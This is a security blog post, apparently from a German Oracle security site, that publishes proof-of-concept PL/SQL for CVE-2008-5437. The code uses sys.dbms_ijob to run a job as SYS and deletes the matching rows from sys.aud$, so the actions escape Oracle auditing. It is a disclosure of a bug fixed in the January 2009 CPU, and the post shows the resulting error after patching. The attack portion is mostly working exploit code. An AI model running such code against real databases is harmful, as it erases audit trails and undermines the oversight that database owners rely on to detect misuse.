- 11g (11)
- Allgemein (29)
- David Litchfield (7)
- Exploit (21)
- Forensics (5)
- Oracle Security (95)
- passwords (8)
- Repscan (1)
- Security (21)
- Sentrigo (5)
- software (9)
- source code audit (5)
- SQL Injection (24)
- Tools (24)
- Trainings (2)
- Tutorial (2)
- 5 Aug 2010: Oracle Presentations from Blackhat 2010 Las Vegas are online
- 18 Apr 2010: Blackhat 2010 Presentation "Oracle, Interrupted: Stealing Sessions and Credentials" online
- 15 Apr 2010: New fast Oracle DES password cracker OPS_SSE2
- 14 Apr 2010: Oracle 11g R2 client trojan warning from Antivir
- 13 Apr 2010: Python Source for PLSQL Unwrapper posted
- 13 Apr 2010: Oracle CPU April 2010 is out
- 13 Apr 2010: Improve Oracle TDE with Intel AES-NI
- 12 Apr 2010: Man-in-the-Middle attacks at upcoming Black Hat Europe
- 9 Apr 2010: Oracle CPU April 2010 - Prerelease
- 8 Apr 2010: Cool Web Application Scanner: Netsparker Community Edition
Oracle Security
SQL Injection
- August 2010
- April 2010
- März 2010
- Februar 2010
- Januar 2010
- Dezember 2009
- November 2009
- Oktober 2009
- September 2009
- August 2009
- Juli 2009
- Mai 2009
- April 2009
- März 2009
- Februar 2009
- Januar 2009
- Dezember 2008
- November 2008
- Oktober 2008
- August 2008
- Juli 2008
- Mai 2008
- April 2008
- März 2008
- Februar 2008
- Januar 2008
- Dezember 2007
- November 2007
- Oktober 2007
- September 2007
- August 2007
- Juli 2007
- Juni 2007
- Mai 2007
Proof-of-concept how to bypass Oracle Auditing using DBMS_IJOB
Here is the proof of concept code for the issue in dbms_ijob [CVE-2008-5437] from Volker Solinus, a really smart DBA, my former colleague from Oracle Consulting Germany.
A different bug concerning Auditing reported by us is still open. Oracle Auditing alone is not sufficient because there are various ways to bypass it. . Often it is better to use a 3rd-party solution like Hedgehog from Sentrigo.
– Bypassing Oracle Auditing
– Everything executed via dbms_ijob (granted to DBAs by default)
– will not appear in the Oracle auditing
– by Volker Solinus
declare
jj integer := 666666; — job number
begin
sys.dbms_ijob.submit(
JOB => jj,
LUSER => ‘SYS’,
PUSER => ‘SYS’,
CUSER => ‘SYS’,
NEXT_DATE => sysdate,
INTERVAL => null,
BROKEN => false,
WHAT => ‘
declare
jj integer := ‘||jj||’;
begin
execute immediate ”alter system archive log current”;
sys.dbms_ijob.remove(jj);
delete from sys.aud$ where obj$name = ”DBMS_IJOB”;
commit;
end;’,
NLSENV => ‘NLS_LANGUAGE=”AMERICAN” NLS_TERRITORY=”AMERICA” NLS_CURRENCY=”$” NLS_ISO_CURRENCY=”AMERICA” NLS_NUMERIC_CHARACTERS=”.,” NLS_DATE_FORMAT=”DD-MON-RR” NLS_DATE_LANGUAGE=”AMERICAN” NLS_SORT=”BINARY”’,
ENV => hextoraw(’0102000200000000′));
sys.dbms_ijob.run(jj);
exception when others then
if sqlcode=-12011 then
sys.dbms_ijob.remove(jj);
end if;
raise;
end;
/
After applying the January CPU 2009 you will get the following error message:
ERROR at line 1:
ORA-12718: operation requires connection as SYS
ORA-06512: at line 32
Antwort schreiben
Sie müssen als angemeldet sein, um einen Kommentar schreiben zu können.